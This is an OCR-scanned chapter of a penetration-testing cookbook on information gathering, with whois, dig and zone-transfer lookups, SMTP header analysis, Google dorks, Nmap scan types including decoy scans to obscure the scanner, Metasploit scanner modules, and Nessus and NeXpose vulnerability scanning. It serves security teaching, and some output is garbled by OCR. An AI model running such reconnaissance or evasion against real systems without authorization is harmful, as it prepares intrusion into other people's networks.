on. This information can be very useful during penetration testing as it can widen our
track of exploiting the target.

» Active information gathering: In this technique, a logical connection is set up with
the target in order to gain information. This technique provides us with the next level
of information which can directly supplement us in understanding the target security.
Port scanning; the target is the most widely used active scanning technique in which
we focus on the open ports and available services running on the target.

» Social engineering: This type of information gathering is similar to passive
information gathering, but relies on human error and the information leaked out in
the form of printouts, telephone conversations, or incorrect e-mail Ids, and so on.
The techniques for utilizing this method are numerous and the ethos of information
gathering is very different, hence, social engineering is a category in-itself. For
example, hackers register domain-names that sound similar with spelling mistakes,
and set up a mail server to receive such erroneous e-mails. Such domains are known
as Doppelganger Domains, that is, the evil twin.

In this chapter, we will analyze the various passive and active techniques of information
gathering in detail. In the starting two recipes, we will analyze the most commonly used and
most commonly neglected techniques of passive information gathering, and then in later
recipes we will focus on gaining information through port scanning. Metasploit has several
built in scanning capabilities, as well as some third-party tools integrated with it to further
enhance the process of port scanning. We will analyze both the inbuilt scanners, as well as
some of the popular third-party scanners which work over the Metasploit framework. Let us
move on to the recipes and start our process of gaining information about our target.

Passive information gathering 1.0 - the

traditional way

Let us deal with some of the most commonly used techniques for information gathering.

=]
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Getting ready

whois, Dig, and Nslookup are the three most basic and simplest steps for gaining initial
information about our target. As both are passive techniques of gaining information, hence
no connectivity with the target is required. These commands can be executed directly from
the terminal of BackTrack. So, launch the terminal window and proceed further.

How to do it...

We will start our information gathering with a simple whois lookup. whois is an in-built
command in BackTrack so we can directly invoke it from our terminal.

Let us quickly perform a whois lookup on www . packtpub.com and analyze the output.
The output can be big, so here we will only focus on relevant points of the output.
root@bt:~# whois www.packtpub.com
Domain Name: PACKTPUB.COM

Registrar: EASYDNS TECHNOLOGIES, INC.

Whois Server: whois.easydns.com

Referral URL: http://www.easydns.com

Name Server: NS1.EASYDNS.COM

Name Server: NS2.EASYDNS.COM

Name Server: NS3.EASYDNS.ORG

Name Server: NS6.EASYDNS.NET

Name Server: REMOTEl.EASYDNS.COM

Name Server: REMOTE2.EASYDNS.COM

Status: clientTransferProhibited

Status: clientUpdateProhibited

Updated Date: 09-feb-2011

Creation Date: 09-may-2003

Expiration Date: 09-may-2016

Here, we can see that a simple whois lookup has revealed some information about the
target website. The information includes the DNS server, creation date, expiration date,
and so on. As this information has been gathered from a source other than the target,
it is called a passive information gathering technique.

s
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The other way of gaining information passively can be by querying the DNS records. The most
common technique is using the dig command, which comes by default in Unix machines. Let
us analyze a dig query on www.packtpub. com.

root@bt:~# dig www.packtpub.com
<<>> DiG 9.7.0-P1 <<>> www.packtpub.com

global options: +cmd

Got answer:

->>HEADER<<- opcode: QUERY, status: NOERROR, id: 1583

flags: gr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 6, ADDITIONAL: 1

Ne Ne Ne Ne N
Ne Ne Ne Ne

;7 QUESTION SECTION:

;www.packtpub.com. IN A

;7 ANSWER SECTION:

www.packtpub.com. 1200 IN CNAME packtpub.com.
packtpub.com. 1200 IN A 83.166.169.228

;7 AUTHORITY SECTION:

packtpub.com. 1200 IN NS remotel.easydns.com.
packtpub.com. 1200 IN NS ns2.easydns.com.
packtpub.com. 1200 IN NS ns6.easydns.net.
packtpub.com. 1200 IN NS ns3.easydns.org.
packtpub.com. 1200 IN NS nsl.easydns.com.
packtpub.com. 1200 IN NS remote2.easydns.com.

;; ADDITIONAL SECTION:
ns3.easydns.org. 5951 IN A 64.68.192.10

Querying the DNS records has revealed some more information about the target. dig can be
used to resolve the names of hosts into IP addresses, and in reverse, resolve IP addresses
into names. In addition, dig can also be used to gather version information from name
servers which may be used to aid in exploitation of the host. As we can see in the output, it
is difficult to identify the primary DNS, or in some cases primary mail server or file hosting
server, and so on. This is where Ns1lookup comes into the picture. Nslookup is almost as
flexible as dig, but provides a simpler default method of identifying primary hosts, such as
Mail and DNS servers.

root@bt:~# nslookup www.packtpub.com
Server: 220.226.6.104
Address: 220.226.6.104#53

Non-authoritative answer:

www.packtpub.com canonical name = packtpub.com.
Name: packtpub.com

Address: 83.166.169.228

NED
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Nslookup has revealed further information about the target, such as its IP address, server IP,
and so on. These passive techniques can reveal some interesting information about the target
and can ease our way for penetration testing.

dig can be used to find the SPF (Sender Policy Framework) records. SPF records are
those records which define the domain's mail sending policy, that is, which servers are
responsible for sending mails on its behalf. Incorrect SPF records will always result in
phishing / spam mails.

SPF records are published as text format. SPF records are responsible for ensuring that
the registered users of a particular domain or partners, of a particular domain, cannot

be attacked by phishing mails. Information collected from the dig query can help us in
determining such issues in our target.

There's more...

Let us cover more stuff about passive information gathering.

Using third-party websites

We have used the in-built command to query about our target and gain information.
There is an equally good technique of performing similar operations using websites,
especially dedicated for such lookups. These websites can also provide information
about the geographical location, contact number, admin e-mails, and so on.

Some useful links are:
http://who.is

http://www.kloth.net

Passive information gathering 2.0 - the next

level

Every security professional is aware of the information gathering techniques discussed in
the previous recipe. But there are some techniques which analysts neglect because of their
reduced popularity and awareness, but they can produce results as good as the previous
techniques. The techniques we will discuss here will involve a deeper analysis of our target,
though we will still be using a passive technique. These techniques do not require the use of
Metasploit, but since information gathering is an important field for penetration testing, we
will discuss it here.

Es
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Getting ready

We will understand three techniques here in this recipe:

» Zone transfer: This can be performed using the terminal.

» SMTP header: For this technique, we will require an e-mail that is sent by the target
to the penetration tester.

» Google dork: This is a simple, yet useful, technique of gaining information through
a search engine.

Let us start with zone transfer.

How to do it...

Zone Transfer is a special method used by the DNS server to exchange authoritative records
for a domain between multiple servers. This method is responsible for transferring bulk lists of
domain information between primary and secondary servers. A misconfigured DNS server can
respond to client query and provide information about the queried domain.

Consider the following example in which a query dig ensl.example.com example.com
axfr returns a list of IP addresses and their corresponding host names:

Domain: example.com.
Primary Nameserver: nsl.examplehosting.com E-mail Contact: admin@examplehosting.com

Jwww/cgi-bin/demon/external/bin/dig @nsl.example.com example.com. axirc

; <<>> DiG 2.1 <<>> @nsl.examples.com example.com. axfr ; (1 server found)
example.com.3600802nsl.examplehosting.com. admin.example.com. (

10; serizl

3600; refresh (1 hour)
€00; retry (10 mins)
1209600; expire (14 days)
3600 ); minimum (1 hour)

example.com. 3600 A Wz -S-C

example.com. 3600 NS nsl.examplehosting.com
example.com. 3600 NS ns2 .examplehosting.com
example.com. 3600 MX 10 smtp.example.com.

webmail .example.com. 3600 CNARME webmail.freemail.com.

router.example.com. 3600 & B P
fwl.example.com. 3600 A 10.2.3.2
snort.example.com. 3600 & 10.2.3.3
www.example.com. 3600 A 10.2.3.4
ftp.example.com. 3600 =2 10.2.3.5
pdc.example.com. 3600 & 10.2.3.6
mailsweeper 3600 & 10.2.3.10
devserver 3600 A DSRS0
mimesweeper 3600 CNAME mailsweeper.example.com.

example.com. 3600 soa nsl.examplehosting.com
admin.examplehosting.com. (
10; serial
3600; refresh (1 hour)
600; retry (10 mins)
1209600; expize (14 days)

=
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This query has identified ten host names, out of which eight unique hosts belong to
example.com. We can see that the host names are descriptive enough to give a clear
understanding about the type of service that is running.

Analyzing the SMTP header can be another potential source of collecting information about
the target. It can provide us with information about the mail server, its IP address, version,
and so on. The only drawback of this method is that we need an e-mail that is sent from the
target location to analyze it. The following screenshot shows the part of the header of a mail
sent from the target.

Delivered-To: abhinavbomBgmail.com
Received: by 10.231.31.12% with SMTP id ylcs138050ibc;

Wed, 12 Oct 2011 00:02:38 -0700 (PDT)

Received: by 10.227.200.20 with SMTP id euZOmr8%75205wbb.42.1318402957197;

Wed, 12 Oct 2011 00:02:37 -0700 (PDT)

Return-Path: <zainabb@packtpub.com>
Received: from imap.packtpub.com (imap.packtpub.com. [83.166.169.248])

by mx.google.com with ESMTP id nlsi738156wbh.28.2011.10.12.00.02.36;

Wed, 12 Oct 2011 00:02:37 -0700 (PDT)

Received-SPF: pass (google.com: best guess record for domain of zainabb@packt
sender) client-ip=83.166.169.248;

Authentication-Results: mx.google.com; spf=pass (google.com: best guess recor
83.166.1659.248 as permitted sender) smtp.mail=zainabb@packtpub.com

Received: by imap.packtpub.com (Postfixz, from userid 763)

id Z7B425700021; Wed, 12 Oct 2011 08:02:3¢& +0100 (BST)
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on imap.packtpub.com
H-Spam-Level:

X-Spam-Status: No, score=-101.4 regquired=5.0 tests=ALL_ TRUSTED, AWL,

HTML MESSAGE, HTTP ESCAPED HOST,USER_IN WHITELIST autolearn=failed

version=3.2.5
Received: from [127.0.0.1] (unknown [122.182.11.421)

(Authenticated sender: zainabb@imap.packtpub.com)

by imap.packtpub.com (Postfix) with ESMTP id D4CEC5700020

for <abhinavbom@Bgmail.com>; Wed, 12 Oct 2011 08:02:33 40100 (BST)
Message—-ID: <4ES53BE85.403010%@packtpub.com>

Careful analysis of the header shows that the IP address of the mail server is
83.166.169.248. The mail server uses the ESMTP service and the user uses the IMAP
service. This additional information can be very useful in further exploring the target.

The last technique is using Google dorks. This method can work only in some cases but it
is worth giving it a try as you never know what secret information it can reveal. Many times
Google crawlers reach certain files or documents that are stored on the target server for
internal use, but due to internet access; the crawler indexes the document in the search
results. In that case, we can look for such files by using some Google search tricks. The
combination of site and filetype in search results can reveal some exciting stuff.

s
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For example, perform the following search queries in Google:

» www.target .com filetype:xls
» www.target.com filetype:pdf
» site:www.target.com filetype:db

Similarly, we can try several different combinations to dig out results from Google search.

The dig query basically returns the data that is provided by the IP or domain owner while it
is being registered. The zone transfer information is particularly provided to the DNS servers
in order to build a proper mapping of registered domains. The dig query can help in fetching
this information. The SMTP header is the original data body of an e-mail. Since it is the main
data representation of e-mails, it contains lots of information about the sender of the e-mail.

Google dorks are nothing but the search results of various files that the Google crawler
indexes. Once the file has been indexed in a Google search, it can be viewed by using
some specific search types.

There's more...

Fun with dorks

www . jhony.ihackstuff.comis the most comprehensive guide for Google dorks where you
can find a complete list of dorks that can reveal lots of hidden information about your target.

Port scanning - the Nmap way

Port scanning is an active information gathering technique in which we will now start dealing
with our target directly. Port scanning is an interesting process of information gathering. It
involves a deeper search of the target machine. Nmap is the most powerful and preferred
scanner for security professionals. The usage of Nmap varies from novice to an advanced
level. We will analyze the various scan techniques in detail.

Getting ready

Starting nmap from Metasploit is easy. Launch the msf console and type in nmap to display
the list of scan options that Nmap provides.

msf > nmap
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How to do it...

We will analyse four different types of Nmap scans which can be very helpful during
penetration testing. Nmap provides lots of different modes for scanning the target machine.
Here, we will focus on four scan types namely TCP connect scan, SYN stealth scan, UDP
scan, and ACK scan. The different scan options of Nmap can also be combined in a single
scan in order to perform a more advanced and sophisticated scan over the target. Let us
move ahead and start the scanning process.

TCP connect [-sT] scan is the most basic and default scan type in Nmap. It follows the three
way handshake process to detect the open ports on the target machine. Let us perform this
scan on our target.

msf > nmap -sT -pl-10000 192.168.56.102
[*] exec: nmap -sT -pl-10000 192.168.56.102

Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-19 00:03 IST
Nmap scan report for 192.168.56.102
Host is up (0.0058s latency).

Not shown: 9997 closed ports

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems

As we can see, we have passed the —-sT parameter which denotes that we want to perform a
TCP connect scan. The -p parameter shows the range of port numbers that we want to scan.
TCP connect scan is based on a three way handshake process, hence the results of this scan
returned are considered accurate.

SYN scan [-sS] is considered as a stealth scanning technique, as it never forms a complete
connection between the target and the scanner. Hence, it is also called half open scanning.
Let us analyze a SYN scan on the target.

msf > nmap -sS 192.168.56.102
[*] exec: nmap -sS 192.168.56.102

Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-19 00:17 IST
Nmap scan report for 192.168.56.102
Host is up (0.0019s latency).

Not shown: 997 closed ports
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PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems

The -sS parameter will instruct Nmap to perform a SYN scan on the target machine. The
output of both TCP connect and the SYN scan are similar in most of the cases, but the only
difference lies in the fact that SYN scans are difficult to detect by firewalls and Intrusion
Detection Systems (IDS). However, modern firewalls are capable enough to catch SYN scans
as well.

UDP scan [-sU] is the scanning technique to identify open UDP ports on the target. O-byte
UDP packets are sent to the target machine and the recipient of an ICMP port unreachable
message shows that the port is closed, otherwise it is considered open. It can be used in the
following manner:

msf > nmap -sU -p9001 192.168.56.102

The following command will check whether the UDP port on 192.168.56.102 is open
or not. Similarly, we can perform a UDP scan on a complete range of ports by modifying
the -p operator.

ACK scan [-sA] is a special scan type which tells which ports are filtered or unfiltered by a
firewall. It operates by sending TCP ACK frames to a remote port. If there is no response, then
it is considered to be a filtered port. If the target returns an RST packet (connection reset),
then the port is considered to be an unfiltered port.

msf > nmap -sA 192.168.56.102
[*] exec: nmap -sA 192.168.56.102

Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-19 00:19 IST
Nmap scan report for 192.168.56.102
Host is up (0.001ls latency).

Not shown: 999 filtered ports

PORT STATE SERVICE
9001/tcp unfiltered tor-orport

MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems)

The preceding output shows the result of an ACK scan performed on the target. The output
shows that all the ports on the target are filtered, except port number 9001 which is unfiltered.
This will help us to find out weak points in our target, as attacking an unfiltered port will have a
better success rate of exploiting the target.

NEQ
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Generally, penetration testers don't stress too much on the scanning process, but a good scan
can provide lots of useful results. Since the information collected here will form the basis of
penetration testing, hence proper knowledge of scan types is highly recommended. Let us
now take a deeper look into each of these scan techniques we just learnt.

The TCP connect scan is the most basic scanning technique in which a full connection is
established with the port under test. It uses the operating system's network functions to
establish connections. The scanner sends a SYN packet to the target machine. If the port is
open then it returns an ACK message back to the scanner. The scanner then sends an ACK
packet back to the target showing the successful establishment of a connection. This is called
a three-way handshake process. The connection is terminated as soon as it is opened. This
technique has its benefits, but it is easily traceable by firewalls and IDS.

A SYN scan is another type of TCP scan, but it never forms a complete connection with the
target. It doesn't use the operating system's network functions, instead it generates raw IP
packets and monitors for responses. If the port is open, then the target will respond with
an ACK message. The scanner then sends an RST (reset connection) message and ends
the connection. Hence, it is also called half-open scanning. This is considered as a stealth
scanning technique as it can avoid raising a flag in some misconfigured firewalls and IDS.

UDP scanning is a connectionless scanning technique, hence no notification is sent back to
the scanner whether the packet has been received by the target or not. If the port is closed,
then an ICMP port unreachable message is sent back to the scanner. If no message is
received then the port is reported as open. This method can return false results as firewalls
can block the data packets and, hence, no response message will be generated and the
scanner will report the port as open.

An ACK scan has the sole purpose of identifying filtered and unfiltered ports. It is a unique and
handy scanning technique which can be helpful in finding weak points in the target system as
unfiltered ports can be easy targets. But a major disadvantage with an ACK scan is that since
it never connects with the target, it cannot identify the open ports. The outputs of an ACK scan
will only list whether the port is filtered or unfiltered. Combining an ACK scan with other scan
types can make a very stealthy scanning process.

Let us cover more about nmap scans and see how we can club different scan types into one.
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Operating system and version detection

There are some advanced options provided by Nmap, apart from port scanning. These options
can help us to gain more information about our target. One of the most widely used options

is operating system identification [-0]. This can help us in identifying the operating system
running on the target machine. An operating system detection scan output is shown,

as follows:

msf > nmap -O 192.168.56.102
[*] exec: nmap -0 192.168.56.102

Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-19 02:25 IST
Nmap scan report for 192.168.56.102
Host is up (0.0014s latency).

MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems)
Device type: general purpose

Running: Microsoft Windows XP|2003

As we can see, Nmap has successfully detected the operating system of the target machine.
This can ease our task of finding the right exploits according to the operating system of
the target.

The other widely used Nmap option is version detection [-sV] of different open ports on the
target. It can be mixed with any of the scan types that we saw previously to add an extra bit
of information of what version of services are running on the open ports of the target.

msf > nmap -sT -sV 192.168.56.102
[*] exec: nmap -sV 192.168.56.102

Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-19 02:27 IST
Nmap scan report for 192.168.56.102

Host is up (0.001ls latency).

Not shown: 997 closed ports

PORT STATE SERVICE

VERSION

135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn

445/tcp open microsoft-ds Microsoft Windows XP

MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems)
Service Info: 0S: Windows

As we can see, an extra column of Versions has been added in our scan output
which reports about the different versions of services running on the target machine.

NED
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Increasing anonymity

It is very essential to perform scans in an anonymous manner. The firewall and IDS logs
can reveal your IP address if you perform a scan without using security measures. One
such feature is provided in Nmap which is called Decoy [-D].

The decoy option does not prevent your IP address from getting recorded in the log file of
firewalls and IDS, but it does make the scan look scary. It adds other torrents in the log files,
thus creating an impression that there are several other attackers scanning the machine
simultaneously. So, if you add two decoy IP addresses then the log file will show that the
request packets were sent from three different IP addresses, one will be yours and the
other two will be the fake addresses added by you.

msf > nmap -sS 192.168.56.102 -D 192.134.24.34,192.144.56.21

The following scan example shows the use of decoy parameter. The IP addresses after the
-D operator are the fake IP addresses which will also appear in the network log files of the
target machine, along with the original IP address. This process can confuse the network
administrators and create suspicion in their mind that all three IP addresses are fake or
spoofed. But adding too many decoy addresses can affect the scan results, hence one
should use a limited number of decoy addresses only.

Exploring auxiliary modules for scanning

Aucxiliary modules are the in-built modules of a Metasploit that can help us perform a variety
of tasks. They are different from exploits as they run on the pen-tester's machine and also

it does not provide any shell. There are more than 350 different auxiliary modules present
in the Metasploit framework, each having specific tasks. Here we will discuss the scanner
auxiliary modules.

Getting ready

To use any auxiliary modules, we will have to follow three simple steps in order to make our
module ready to launch. Let us go through the three-step process.

1. Activating the module: The use command is used to set the particular module active
and ready to take commands.

2. Setting specifications: The set command is used to set up the various parameters
that the module requires to execute.

3. Running the module: After completing the first two steps, the run command is used
to finally execute the module and generate the result.
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To view the available scanning modules in the Metasploit framework, we can browse to the
following location:

root@bt:~# cd /pentest/exploits/framework3/modules/auxiliary/scanner

To start using the modules we will have to launch our msfconsole session.

How to do it...

Let us now practically implement these steps to run a port scanning auxiliary module.
To begin with, let us search for the port scanning modules available for us in the framework.

msf > search portscan

Matching Modules

Name Disclosure Date Rank Description
auxiliary/scanner/portscan/ack normal TCP ACK Firewall Scanner
auxiliary/scanner/portscan/ftpbounce normal FTP Bounce Port Scanner
auxiliary/scanner/portscan/syn normal TCP SYN Port Scanner
auxiliary/scanner/portscan/tcp normal TCP Port Scanner
auxiliary/scanner/portscan/xmas normal TCP "XMas" Port Scanner

We can see the list of available scanners. It contains some of the basic scan types that we
have discussed in the previous recipes. Let us start with a simple SYN scan to start with.

Now we will follow our three step process to start using the module. Let us start with the
first step.

1. To activate the module, we will execute the following command:

msf > use auxiliary/scanner/portscan/syn
msf auxiliary(syn) >

We will find that the prompt has changed to the module we want to use.
This indicates that the module is now active.

2. Now let us see what parameters are required by the module. This will be done
by using the show options command:

msf auxiliary(syn) > show options
Module options (auxiliary/scanner/portscan/syn):

Name Current Setting Required Description

=)
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BATCHSIZE 256 yes number of hosts to scan per set
INTERFACE no The name of the interface

PORTS 1-10000 yes Ports to scan

RHOSTS yes target address range or CIDR
SNAPLEN 65535 yes The number of bytes to capture
THREADS 1 yes The number of concurrent threads
TIMEOUT 500 yes The reply read timeout in
milliseconds

The first column lists all the required parameters. The column named Required tells
us which parameters are necessary to pass. It is necessary for all those parameters
which are marked yes to contain a value. As we can see, all columns contain default
values. RHOSTS contains the IP address range we want to scan. So let us set the
RHOSTS parameter with our target IP address.

msf auxiliary(syn) > set RHOSTS 192.168.56.1
RHOSTS => 192.168.56.1

Now our module is ready to perform a SYN scan on our target IP address. Using
the set command, we can also change the other values as well. For example,
if we want to change the range of port numbers, then the following command
can solve our purpose:

msf auxiliary(syn) > set PORTS 1-500
3. Finally, our last step will be to execute the module to perform its respective action:
msf auxiliary(syn) > run

On successful execution of the run command, the module will perform a SYN scanning and
produce results.

There's more...

Let us understand the use of threads in the next section.

Managing the threads

Setting and managing the number of threads in auxiliary modules can greatly enhance the
performance of auxiliary modules. In case you have to scan an entire network or a range of
IP addresses, then increasing the number of threads will make the scanning process faster.

msf auxiliary(syn) > set THREADS 10
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Target service scanning with auxiliary

modules

Let us now try out some targeted scanning for specific services running on a range of IP
addresses, or on a single target host. Various service-based scans are available; VNC, FTP,
SMB, and so on. Auxiliary modules can be really handy in such situations when we are looking
for specific types of services on our target.

Getting ready

Let us find out what service-based scanning auxiliary modules are available to us.
We can navigate through the following path:

root@bt:~# cd /pentest/exploits/framework3/modules/auxiliary/scanner

root@bt:/pentest/exploits/framework3/modules/auxiliary/scanner# ls

backdoor emc ip mysql pop3 sap ssh vnc

db2 finger 1lotus netbios portscan sip telephony
voice

dcerpc ftp misc nfs postgres smb telnet vxworks
dect http motorola ntp rogue smtp tftp x11
discovery imap mssgl oracle rservices snmp upnp

As we can see, there are lots of options for service scan modules which can be very handy
during penetration testing. Let us quickly work some of them.

How to do it...

The working of these service scanning modules is similar to using any other module.
We will follow the same three step process that we learned in the previous recipe.

Let us work on the NetBIOS module. Scanning for NetBIOS can be beneficial in identifying
the Windows operating system. We will scan a range of networks this time to find out which
machine is running a NetBIOS service.

msf > use auxiliary/scanner/netbios/nbname
msf auxiliary(nbname) > show options

Module options (auxiliary/scanner/netbios/nbname) :

Name Current Setting Required Description
BATCHSIZE 256 yes The number of hosts to probe
CHOST no The local client address

=
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RHOSTS yes The target address range
RPORT 137 yes The target port
THREADS 1 yes The number of concurrent threads

msf auxiliary(nbname) > set RHOSTS 192.168.56.1/24
RHOSTS => 192.168.56.1/24

msf auxiliary(nbname) > set THREADS 10

THREADS => 10

RHOSTS is now set to scan the entire range of IP addresses and the number of threads is also
set to ten. Let us now run this module and analyze the result.

msf auxiliary(nbname) > run

[*] Sending NetBIOS status requests to 192.168.56.0->192.168.56.255 (256
hosts)

[*] 192.168.56.1 [DARKLORD-PC] OS:Windows Names: (DARKLORD-PC, WORKGROUP,
__ MSBROWSE ) Addresses:(192.168.56.1) Mac:08:00:27:00:a8:a3

[*] 192.168.56.103 [SP3] OS:Windows Names: (SP3, WORKGROUP)
Addresses: (10.0.2.15, 192.168.56.103) Mac:08:00:27:4b:65:35

[*] 192.168.56.102 [ABHINAV-5C02603] OS:Windows Names: (ABHINAV-5C02603,
WORKGROUP) Addresses: (10.0.2.15, 192.168.56.102) Mac:08:00:27:34:a8:87

[*] Scanned 256 of 256 hosts (100% complete)

The network has three machines running on the scanned network that are using NetBIOS.
The scan has also reported their respective MAC addresses.

Let us perform another service scan. This time we will try to locate which machines are
running the MySQL database server. Also, we will try to find out the version of the server.

msf > use auxiliary/scanner/mysql/mysqgl version

msf auxiliary(mysql version) > show options

Module options (auxiliary/scanner/mysql/mysql version) :

Name Current Setting Required Description

RHOSTS yes The target address range

RPORT 3306 yes The target port

THREADS 1 yes The number of concurrent threads

msf auxiliary(mysql version) > set RHOSTS 192.168.56.1/24
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RHOSTS => 192.168.56.1/24

msf auxiliary(mysqgl version) > set THREADS 10
THREADS => 10

msf auxiliary(mysqgl version) > run

[*] 192.168.56.102:3306 is running MySQL, but responds with an error: \
x04Host '192.168.56.101' is not allowed to connect to this MySQL server

The scanning process has detected that the IP address 192.168.56.102 is running a MySQL
server, but unfortunately, it couldn't connect with the server. This is another demonstration
of how easy and handy auxiliary modules are, and they can provide us with lots of useful
information as well.

It is recommended that one should try out all the auxiliary scanner modules available as they
can help you in better understanding your target.

Auxiliary modules are special purpose modules that are built to perform a particular task.
There can be situations when you have to perform only a particular type of scan to discover
services. For example, the MySQL auxiliary scanner detects the presence of the database by
pinging the default port number (3306). It further checks if the default login is enabled on the
database or not. You can analyze the script at /modules/auxiliary/scanner. YOU can
extend the code according to your need, or even re-use the script to build your own specific
auxiliary scanner.

Vulnerability scanning with Nessus

So far, we have learned the basics of port scanning, along with the practical implementation
with Nmap. Port scanning has been extended to several other tools which further enhance the
process of scanning and information gathering. In the next few recipes, we will cover those
tools which scan the target for available services and open ports and then tries to determine
the type of vulnerability that may exist for that particular service or port. Let us begin our
journey to vulnerability scanning.

Nessus is one of the most widely used vulnerability scanners. It scans the target for a range

of vulnerabilities and produces a detailed report for it. Nessus is a very helpful tool during
penetration testing. Either you can use the GUI version of Nessus, or you can also use it from
the Metasploit console. In this book, we will primarily focus on using Nessus with msfconsole.

=
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Getting ready

To start working with Nessus in msfconsole, we will have to load Nessus and then connect
it with the server to start our penetration testing.

First, we will connect our database with Metasploit so as to store the interim results. The
process of starting and connecting the database in Metasploit has been explained in the
previous chapter. After connecting the database, our next task is to load the Nessus plugin.

How to do it...

1. To connect the database and load Nessus in Metasploit, we will execute the
following command:

msf > db connect msf3:8b826ac0@127.0.0.1:7175/msf3
msf > load nessus

[*] Nessus Bridge for Nessus 4.2.Xx
[+] Type nessus help for a command listing

[*] Successfully loaded plugin: nessus

2. After successfully loading it, we will have to connect it with the server. The following
command is used to connect it with the server manner:

msf > nessus connect root:toor@localhost ok

[*] Connecting to https://127.0.0.1:8834/ as root
[*] Authenticated

In the preceding command ok is an extra parameter that is passed to ensure
the Nessus server is running on a trusted network.

We can check for the list of available users in Nessus by using the
nessus_user list command.

A new user can also be added by using the command nessus_user add. By using the
command nessus_policy list, we can view the list of available policies on the server.
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Once Nessus is connected with the server, it can be used for scanning target machines. The
process of scanning is simple and quick. Let us perform a quick scan on a target to see how
Nessus scanning operates. To start the scan, we will have to pass the following command:

msf > nessus scan new 1 testscan 192.168.56.102

[*] Creating scan from policy number 1, called "testscan" and scanning
192.168.56.102

[*] Scan started. wuid is 9d337e9b-82c7-89al-al9%4-
4efl154b82f624de2444e6adlB8alf

Once the scanning process is complete, our next target will be to import the list generated
by Nessus. Let us check out the available list:
msf > nessus report list

[+] Nessus Report List

ID Name Status
9d337e9b-82c7-

89al-al9-4efl54b82 testscan completed
f624de2444e6adl8alf

The ID column represents the report that has been generated as a result of our scan.
Let us import this report now.

msf > nessus report get 9d337e9b-82c7-8%9al-al944efl54b82f624de2444e6adls8
alf

[*] importing 9d337e9b-82c7-89al-al%944efl54b82f624de2444e6adl8alf

Once the report has been imported, it can now be operated by using the console commands
and can be analyzed to find out the weaknesses in the target. To view the vulnerabilities in the
target, execute the following command:

msf> hosts -c¢ address, vuls, os name

There's more...

Let us look through a quick guide to working with Nessus in GUI mode.

=)
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Working with Nessus in the web browser

Nessus can also be used from its GUI mode which is also as powerful and easy to use as

the console mode. If you are using Nessus for the first time, then first you will have to register
yourself and get a registration code from the Nessus website. Registration can be done at the
following link:

http://www.nessus.org/register/

Once the registration is complete, we will have to start Nessus and add the registration code.
Go to Applications | BackTrack | Vulnerability Assessment | Network Assessment |
Vulnerability Scanner | nessus start.

On starting Nessus, you might be prompted with the following error message:

Starting Nessus : .

Missing plugins. Attempting a plugin update...

Your installation is missing plugins. Please register and try again.
To register, please visit http://www.nessus.org/register/

The error is because Nessus is not yet registered. In order to register, we will have to use the
registration code that we received through an e-mail from Nessus. The following command will
help us complete the registration process:

/opt/nessus/bin/nessus-fetch -register YOUR REGISTRATIN CODE

root@bt:~# /opt/nessus/bin/nessus-fetch --register E8A5-5367-982E-05CB-
972A

Your activation code has been registered properly - thank you.
Now fetching the newest plugin set from plugins.nessus.org...
Your Nessus installation is now up-to-date.

If auto update is set to 'yes' in nessusd.conf, Nessus will
update the plugins by itself.

Now launch the browser and type the following address:
https://localhost:8834

If you are launching Nessus in the browser for the first time, then it will take some time
to load. So be patient.

Scanning with NeXpose

In the previous recipe, we discussed Nessus as a potential vulnerability scanner.
In this recipe, we will cover another important vulnerability scanner NeXpose.
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NeXpose is a popular tool by Rapid7 which performs the task of vulnerability scanning and
importing results to the Metasploit database. The usage of NeXpose is similar to Nessus
which we learned in the previous recipe, but let's have a quick overlook of how to get started
with NeXpose. | will leave the task of exploring it deeper as an assignment for you.

Getting ready

To start the NeXpose from the msf console, we will first have to connect the database
to Metasploit, and then load the plugin to connect it with the NeXpose server to start
the process of target scanning. Let us execute these steps in the command line.

msf > db connect msf3:8b826ac0@127.0.0.1:7175/ms£3
msf > load nexpose
msf > nexpose_connect darklord:toor@localhost ok

[*] Connecting to NeXpose instance at 127.0.0.1:3780 with username
darklord...

How to do it...

Now that we are connected with our server, we can scan our target and generate reports.
There are two scan commands supported by NeXpose. One is nexpose scan and the other
is nexpose discover. The former will scan a range of IP addresses and import the results,
whereas the latter will scan only to discover hosts and services running on them. Let us
perform a quick scan on our target using NeXpose.

msf > nexpose_discover 192.168.56.102

[*] Scanning 1 addresses with template aggressive-discovery in sets of 32

[*] Completed the scan of 1 addresses

Once the scan is complete, we can view its results by using the default database commands
of the msf console.

Let us see what scan results have been produced by NeXpose:

msf > hosts -c address,os name,os flavor

=
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Hosts

address os_name os flavor
192.168.56.102 Microsoft Windows XP

msf >

There's more...

After the information has been collected, the final step will be importing the results. Let us see
how it is executed.

Importing the scan results
You can skip this information if you have used Nessus and NeXpose from msfconsole.

When you are using the GUI version of either Nessus or NeXpose, you will have to manually
import the scan results to the database. The reason why | am laying stress on importing and
storing results is that in our next chapter we will see how we can use the autopwn command
to automatically run exploits on hosts present in our database. So, in order to import the scan
results, we will use the db_import command as follows: db_import filename

msf > db import nexposelist.xml

[*] Importing 'Nexpose XML (v2)' data
[*] Importing host 192.168.56.102

[*] Successfully imported /root/nexposelist.xml

Sharing information with the Dradis

framework

In our previous recipes, we learned several techniques for gaining information about our
target. While performing penetration tests, we may need to share information with other
pen-testers which may be located at other physical locations. In that case, sharing the
penetration testing information can be made easier by using the Dradis framework.

It is an open source framework for sharing information during security assessments.

It has several features which makes it an excellent information-sharing tool. Some

of them are:

» Communicating over SSL
» Attachment of files and notes

@]
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» Import scan results from Nessus, NeXpose, and so on
» Can be extended to connect with external systems like a vulnerability database

Although it will not help us in gaining any information about the target, the tool is important
for all security professionals in sharing pen-test results and findings.

Getting ready

To launch the Dradis framework in BackTrack, we will have to execute the following command
at the terminal:

